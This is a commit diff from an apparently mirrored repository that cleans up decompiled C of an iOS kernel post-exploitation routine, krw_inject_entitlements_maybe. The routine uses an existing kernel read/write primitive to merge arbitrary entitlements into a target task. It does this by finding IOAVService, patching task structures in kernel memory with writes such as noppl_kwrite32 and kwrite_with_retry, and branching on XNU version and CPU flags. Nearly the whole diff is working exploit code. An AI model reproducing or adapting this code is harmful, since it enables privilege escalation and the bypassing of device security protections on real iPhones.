mirror of
https://github.com/khanhduytran0/coruna.git
synced 2026-07-12 06:56:38 +02:00
Rewrite legacy entitlement injection packets
This commit is contained in:
@@ -87,6 +87,30 @@ typedef struct PgtableWalkInfo
|
||||
uint64_t descriptor;
|
||||
} PgtableWalkInfo;
|
||||
|
||||
typedef struct EntitlementFindConnectArgs
|
||||
{
|
||||
uint64_t krwCtx;
|
||||
uint32_t task;
|
||||
uint32_t reserved0;
|
||||
CFTypeRef *cfOut;
|
||||
uint32_t ok;
|
||||
uint32_t reserved1;
|
||||
} EntitlementFindConnectArgs;
|
||||
|
||||
typedef struct EntitlementIokitPayload
|
||||
{
|
||||
uint64_t krwCtx;
|
||||
uint32_t task;
|
||||
uint32_t reserved;
|
||||
CFTypeRef cf;
|
||||
} EntitlementIokitPayload;
|
||||
|
||||
typedef struct EntitlementIokitThreadArg
|
||||
{
|
||||
EntitlementIokitPayload *payload;
|
||||
int status;
|
||||
} EntitlementIokitThreadArg;
|
||||
|
||||
//----- (00000000000068F4) ----------------------------------------------------
|
||||
void __fastcall deallocate_physmap_pages(__int64 a1)
|
||||
{
|
||||
@@ -10048,168 +10072,152 @@ bool check_root_is_apfs()
|
||||
//----- (000000000001503C) ----------------------------------------------------
|
||||
__int64 __fastcall krw_inject_entitlements_maybe(struct_krwCtx *krwCtx, __int64 task, char *entitlementXml)
|
||||
{
|
||||
int v4; // w23
|
||||
uint64_t v7; // x24
|
||||
void *v8; // x22
|
||||
CFPropertyListRef v9; // x21
|
||||
const struct __CFData *v10; // x20
|
||||
size_t v11; // x0
|
||||
void *(__cdecl *v12)(void *); // x0
|
||||
const struct __CFData *Data; // x0
|
||||
const struct __CFData *v14; // x23
|
||||
size_t Length; // x24
|
||||
const UInt8 *BytePtr; // x0
|
||||
int v17; // w0
|
||||
unsigned int v18; // w0
|
||||
mach_port_name_t v19; // w23
|
||||
int v20; // w8
|
||||
unsigned __int64 v21; // x0
|
||||
int v22; // w23
|
||||
uint32_t targetTask; // w23
|
||||
uint64_t ok; // x24
|
||||
void *entitlementXmlBuffer; // x22
|
||||
CFPropertyListRef entitlementDict; // x21
|
||||
const struct __CFData *entitlementData; // x20
|
||||
CFPropertyListFormat format; // [xsp+8h] [xbp-108h] BYREF
|
||||
CFTypeRef cf; // [xsp+10h] [xbp-100h] BYREF
|
||||
__int64 address; // [xsp+18h] [xbp-F8h] BYREF
|
||||
int v26; // [xsp+20h] [xbp-F0h]
|
||||
CFTypeRef v27; // [xsp+28h] [xbp-E8h]
|
||||
mach_port_name_t name[2]; // [xsp+30h] [xbp-E0h] BYREF
|
||||
int v29; // [xsp+38h] [xbp-D8h]
|
||||
pthread_t v30; // [xsp+40h] [xbp-D0h] BYREF
|
||||
pthread_attr_t v31; // [xsp+48h] [xbp-C8h] BYREF
|
||||
CFTypeRef serviceEntitlements; // [xsp+10h] [xbp-100h] BYREF
|
||||
EntitlementIokitPayload iokitPayload; // [xsp+18h] [xbp-F8h] BYREF
|
||||
EntitlementIokitThreadArg iokitThreadArg; // [xsp+30h] [xbp-E0h] BYREF
|
||||
pthread_t thread; // [xsp+40h] [xbp-D0h] BYREF
|
||||
pthread_attr_t attr; // [xsp+48h] [xbp-C8h] BYREF
|
||||
|
||||
v4 = task;
|
||||
targetTask = task;
|
||||
format = kCFPropertyListXMLFormat_v1_0;
|
||||
cf = 0;
|
||||
if ( krwCtx->xnuVersionPacked < XNU_VERSION_PACKED(8019, 0, 0, 0, 0) )
|
||||
serviceEntitlements = 0;
|
||||
if ( krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(8019, 0, 0, 0, 0) )
|
||||
return krw_inject_entitlements2_maybe(krwCtx, task, entitlementXml, 1);
|
||||
|
||||
ok = 0;
|
||||
if ( (unsigned int)acquire_write_semaphore_lock(krwCtx, 0, 0x2710u) )
|
||||
return ok;
|
||||
|
||||
entitlementXmlBuffer = 0;
|
||||
entitlementDict = 0;
|
||||
entitlementData = 0;
|
||||
EntitlementFindConnectArgs findArgs = {
|
||||
.krwCtx = (uint64_t)krwCtx,
|
||||
.task = targetTask,
|
||||
.reserved0 = 0,
|
||||
.cfOut = &serviceEntitlements,
|
||||
.ok = 0,
|
||||
.reserved1 = 0,
|
||||
};
|
||||
|
||||
if ( !pthread_create_and_join(krwCtx, (__int64)find_connect_ioavservice, &findArgs) )
|
||||
goto cleanup;
|
||||
if ( !findArgs.ok )
|
||||
goto cleanup;
|
||||
|
||||
entitlementData = CFDataCreateWithBytesNoCopy(
|
||||
kCFAllocatorDefault,
|
||||
(const UInt8 *)entitlementXml,
|
||||
strlen(entitlementXml) + 1,
|
||||
kCFAllocatorNull);
|
||||
if ( !entitlementData )
|
||||
goto cleanup;
|
||||
|
||||
entitlementDict = CFPropertyListCreateWithData(kCFAllocatorDefault, entitlementData, 0, &format, 0);
|
||||
if ( !entitlementDict )
|
||||
goto cleanup;
|
||||
|
||||
if ( (unsigned int)merge_cfdict_entries(serviceEntitlements, entitlementDict) )
|
||||
{
|
||||
v7 = 0;
|
||||
if ( (unsigned int)acquire_write_semaphore_lock(krwCtx, 0, 0x2710u) )
|
||||
return v7;
|
||||
v31.__sig = krwCtx;
|
||||
*(uint32_t *)&v31.__opaque[4] = 0;
|
||||
*(uint32_t *)v31.__opaque = v4;
|
||||
*(uint64_t *)&v31.__opaque[8] = &cf;
|
||||
*(uint64_t *)&v31.__opaque[16] = 0;
|
||||
v7 = 0;
|
||||
v8 = 0;
|
||||
if ( pthread_create_and_join(krwCtx, (__int64)find_connect_ioavservice, &v31) )
|
||||
if ( (unsigned int)compare_cfdict_entries(serviceEntitlements, entitlementDict) )
|
||||
goto cleanup;
|
||||
|
||||
bool useIokitWorker = krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(7195, 42, 1, 0, 0)
|
||||
&& (krwCtx->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0;
|
||||
if ( useIokitWorker )
|
||||
{
|
||||
v9 = 0;
|
||||
v10 = 0;
|
||||
if ( *(uint32_t *)&v31.__opaque[16] )
|
||||
iokitPayload.krwCtx = (uint64_t)krwCtx;
|
||||
iokitPayload.task = targetTask;
|
||||
iokitPayload.reserved = 0;
|
||||
iokitPayload.cf = serviceEntitlements;
|
||||
if ( pthread_attr_init(&attr) )
|
||||
goto cleanup;
|
||||
if ( pthread_attr_setdetachstate(&attr, 1) )
|
||||
{
|
||||
v11 = strlen(entitlementXml);
|
||||
v10 = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, (const UInt8 *)entitlementXml, v11 + 1, kCFAllocatorNull);
|
||||
if ( !v10 )
|
||||
{
|
||||
v8 = 0;
|
||||
v9 = 0;
|
||||
goto LABEL_15;
|
||||
}
|
||||
v9 = CFPropertyListCreateWithData(kCFAllocatorDefault, v10, 0, &format, 0);
|
||||
if ( !v9 )
|
||||
goto LABEL_12;
|
||||
if ( (unsigned int)merge_cfdict_entries(cf, v9) )
|
||||
{
|
||||
if ( (unsigned int)compare_cfdict_entries(cf, v9) )
|
||||
{
|
||||
LABEL_12:
|
||||
v8 = 0;
|
||||
goto LABEL_15;
|
||||
}
|
||||
if ( krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(7195, 42, 1, 0, 0) && (krwCtx->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 )
|
||||
{
|
||||
address = krwCtx;
|
||||
v26 = v4;
|
||||
v27 = cf;
|
||||
if ( pthread_attr_init(&v31) )
|
||||
goto LABEL_12;
|
||||
if ( pthread_attr_setdetachstate(&v31, 1)
|
||||
|| (v30 = 0,
|
||||
v29 = 4097,
|
||||
*(uint64_t *)name = &address,
|
||||
v12 = (void *(__cdecl *)(void *))nullsub_1(get_kernel_task_iokit),
|
||||
pthread_create(&v30, &v31, v12, name))
|
||||
|| pthread_join(v30, 0) )
|
||||
{
|
||||
pthread_attr_destroy(&v31);
|
||||
goto LABEL_12;
|
||||
}
|
||||
v22 = v29;
|
||||
pthread_attr_destroy(&v31);
|
||||
v8 = 0;
|
||||
if ( v22 )
|
||||
goto LABEL_15;
|
||||
}
|
||||
else
|
||||
{
|
||||
Data = CFPropertyListCreateData(kCFAllocatorDefault, cf, kCFPropertyListXMLFormat_v1_0, 0, 0);
|
||||
if ( !Data )
|
||||
goto LABEL_12;
|
||||
v14 = Data;
|
||||
Length = CFDataGetLength(Data);
|
||||
v8 = calloc(Length + 1, 1u);
|
||||
if ( !v8 )
|
||||
{
|
||||
CFRelease(v14);
|
||||
goto LABEL_15;
|
||||
}
|
||||
BytePtr = CFDataGetBytePtr(v14);
|
||||
memcpy(v8, BytePtr, Length);
|
||||
CFRelease(v14);
|
||||
name[0] = 0;
|
||||
address = 0;
|
||||
v17 = strlen((const char *)v8);
|
||||
v18 = register_ioservice_publish_notify((__int64)v8, v17 + 1, name);
|
||||
if ( v18 + 1 <= 1 )
|
||||
{
|
||||
LABEL_15:
|
||||
v7 = 0;
|
||||
goto LABEL_16;
|
||||
}
|
||||
v19 = v18;
|
||||
v20 = krwCtx->xnuMajorVersion;
|
||||
v7 = ((unsigned int)(v20 - 8019) < 2 || v20 == 7195 || v20 == 6153)
|
||||
&& (v21 = get_task_kobject_addr(krwCtx, v18), (address = v21) != 0)
|
||||
&& kread_physmap_decorated(krwCtx, v21 + 16, (unsigned __int64 *)&address)
|
||||
&& kread_physmap_decorated(krwCtx, address + 24, (unsigned __int64 *)&address)
|
||||
&& noppl_kwrite32(krwCtx, address + krwCtx->stride_0x168, 255)
|
||||
&& (unsigned int)krw_read_thunk(krwCtx, address, 40, &v31)
|
||||
&& (unsigned int)kwrite_with_retry(
|
||||
krwCtx,
|
||||
krwCtx->gap_0x390 + krwCtx->stride_0x168,
|
||||
(__int64)&v31 + krwCtx->stride_0x168,
|
||||
(unsigned int)(40 - krwCtx->stride_0x168)) != 0;
|
||||
mach_port_destroy(mach_task_self_, v19);
|
||||
if ( name[0] + 1 >= 2 )
|
||||
mach_port_destroy(mach_task_self_, name[0]);
|
||||
if ( !v7 )
|
||||
goto LABEL_16;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
v8 = 0;
|
||||
}
|
||||
v7 = 1;
|
||||
pthread_attr_destroy(&attr);
|
||||
goto cleanup;
|
||||
}
|
||||
thread = 0;
|
||||
iokitThreadArg.payload = &iokitPayload;
|
||||
iokitThreadArg.status = 4097;
|
||||
void *(__cdecl *worker)(void *) = (void *(__cdecl *)(void *))nullsub_1(get_kernel_task_iokit);
|
||||
if ( pthread_create(&thread, &attr, worker, &iokitThreadArg) || pthread_join(thread, 0) )
|
||||
{
|
||||
pthread_attr_destroy(&attr);
|
||||
goto cleanup;
|
||||
}
|
||||
int workerStatus = iokitThreadArg.status;
|
||||
pthread_attr_destroy(&attr);
|
||||
if ( workerStatus )
|
||||
goto cleanup;
|
||||
}
|
||||
else
|
||||
{
|
||||
v9 = 0;
|
||||
v10 = 0;
|
||||
const struct __CFData *serializedEntitlements =
|
||||
CFPropertyListCreateData(kCFAllocatorDefault, serviceEntitlements, kCFPropertyListXMLFormat_v1_0, 0, 0);
|
||||
if ( !serializedEntitlements )
|
||||
goto cleanup;
|
||||
size_t serializedLength = CFDataGetLength(serializedEntitlements);
|
||||
entitlementXmlBuffer = calloc(serializedLength + 1, 1u);
|
||||
if ( !entitlementXmlBuffer )
|
||||
{
|
||||
CFRelease(serializedEntitlements);
|
||||
goto cleanup;
|
||||
}
|
||||
memcpy(entitlementXmlBuffer, CFDataGetBytePtr(serializedEntitlements), serializedLength);
|
||||
CFRelease(serializedEntitlements);
|
||||
|
||||
mach_port_name_t previousNotify = 0;
|
||||
unsigned __int64 taskKaddr = 0;
|
||||
unsigned int notifyPort = register_ioservice_publish_notify(
|
||||
(__int64)entitlementXmlBuffer,
|
||||
strlen((const char *)entitlementXmlBuffer) + 1,
|
||||
&previousNotify);
|
||||
if ( notifyPort + 1 <= 1 )
|
||||
goto cleanup;
|
||||
|
||||
int major = krwCtx->xnuMajorVersion;
|
||||
ok = ((unsigned int)(major - 8019) < 2 || major == 7195 || major == 6153)
|
||||
&& (taskKaddr = get_task_kobject_addr(krwCtx, notifyPort)) != 0
|
||||
&& kread_physmap_decorated(krwCtx, taskKaddr + 16, &taskKaddr)
|
||||
&& kread_physmap_decorated(krwCtx, taskKaddr + 24, &taskKaddr)
|
||||
&& noppl_kwrite32(krwCtx, taskKaddr + krwCtx->stride_0x168, 255);
|
||||
if ( ok )
|
||||
{
|
||||
uint8_t entitlementSnapshot[40];
|
||||
ok = (unsigned int)krw_read_thunk(krwCtx, taskKaddr, sizeof(entitlementSnapshot), entitlementSnapshot)
|
||||
&& (unsigned int)kwrite_with_retry(
|
||||
krwCtx,
|
||||
krwCtx->gap_0x390 + krwCtx->stride_0x168,
|
||||
(__int64)entitlementSnapshot + krwCtx->stride_0x168,
|
||||
(unsigned int)(sizeof(entitlementSnapshot) - krwCtx->stride_0x168)) != 0;
|
||||
}
|
||||
mach_port_destroy(mach_task_self_, notifyPort);
|
||||
if ( previousNotify + 1 >= 2 )
|
||||
mach_port_destroy(mach_task_self_, previousNotify);
|
||||
if ( !ok )
|
||||
goto cleanup;
|
||||
}
|
||||
LABEL_16:
|
||||
release_write_semaphore_lock(krwCtx, 0);
|
||||
if ( cf )
|
||||
CFRelease(cf);
|
||||
if ( v9 )
|
||||
CFRelease(v9);
|
||||
if ( v10 )
|
||||
CFRelease(v10);
|
||||
if ( v8 )
|
||||
free(v8);
|
||||
return v7;
|
||||
}
|
||||
return krw_inject_entitlements2_maybe(krwCtx, task, entitlementXml, 1);
|
||||
ok = 1;
|
||||
|
||||
cleanup:
|
||||
release_write_semaphore_lock(krwCtx, 0);
|
||||
if ( serviceEntitlements )
|
||||
CFRelease(serviceEntitlements);
|
||||
if ( entitlementDict )
|
||||
CFRelease(entitlementDict);
|
||||
if ( entitlementData )
|
||||
CFRelease(entitlementData);
|
||||
if ( entitlementXmlBuffer )
|
||||
free(entitlementXmlBuffer);
|
||||
return ok;
|
||||
}
|
||||
// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
|
||||
|
||||
|
||||
Reference in New Issue
Block a user